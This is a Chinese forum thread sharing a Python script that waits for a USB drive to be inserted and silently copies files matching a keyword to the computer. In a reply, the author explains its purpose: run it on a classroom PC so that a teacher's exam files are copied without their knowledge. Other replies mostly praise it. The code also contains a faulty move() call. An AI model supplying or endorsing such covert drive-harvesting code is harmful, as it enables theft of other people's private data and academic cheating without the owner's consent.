山野村夫-陈墨 发表于 2021-7-15 23:55

U盘检测并复制所需的文件

本帖最后由 山野村夫-陈墨 于 2021-7-16 00:01 编辑

这两天闲来无事,找了个代码修改修改。


功能:
检测计算机中是否插入U盘,如果插入U盘则将对应的数据复制到计算机中。


代码:
# -*- coding: utf-8 -*-
# @Time :   2021/7/10
# @AuThor : 陈墨
# @Software: PyCharm
# @function: 读取U盘的数据

from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)


# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():
    for item in disk_partitions():
      if item.opts == "rw,removable": # 可读、可移动介质
            logger.info("发现USB:%s" % str(item))
            return item.device
    logger.info("没有发现USB")
    return None


# 读取想要的文件u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 无筛选规则,复制所有
      copytree(src, dst)
      logger.info("复制%s盘USB所有内容到%s" % (src, dst))
    else: # 复制部分
      paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
      for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
                  try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                  except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                  try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                  except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                  get_useb_file(src, item, select, dst)


if __name__ == "__main__":
    while True:
      path = get_usb_dispart()
      if path is not None:
            get_useb_file(src=path, select="测试", dst=r"F:\usb")
            break
      sleep(1)

山野村夫-陈墨 发表于 2021-7-16 00:50

liyouqi520 发表于 2021-7-16 00:36
干什么用的?

比如老师上课前,把程序在教室电脑里面运行起来,老师插入U盘的就可以把考试相关内容拷贝下来。

slbbsreg 发表于 2021-11-1 13:33

python 3.10 run时报错:
Python 3.10.0 (tags/v3.10.0:b494f59, Oct4 2021, 19:00:18) on win32
Type "help", "copyright", "credits" or "license()" for more information.

=============================== RESTART: E:\1.py ===============================
Traceback (most recent call last):
File "E:\1.py", line 10, in <module>
    from psutil import disk_partitions
ModuleNotFoundError: No module named 'psutil'

dwk1818 发表于 2021-7-16 00:33

学习学习            

liyouqi520 发表于 2021-7-16 00:36

干什么用的?

sbham 发表于 2021-7-16 02:33

不明觉厉,马克一下

11559977553300 发表于 2021-7-16 02:38

评分支持,感谢作者

々繁星闪烁々 发表于 2021-7-16 03:50

很实用呀,非常感谢!

zz1181 发表于 2021-7-16 06:33

腻害了,省得每次都要手动拖

cangyue0609 发表于 2021-7-16 07:36

测试一下,看看拷贝过程中有啥提示没。

pdjfx 发表于 2021-7-16 07:40

测试下怎么复制对应的数据,谢谢楼主分享!
页: [1] 2 3 4 5 6
查看完整版本: U盘检测并复制所需的文件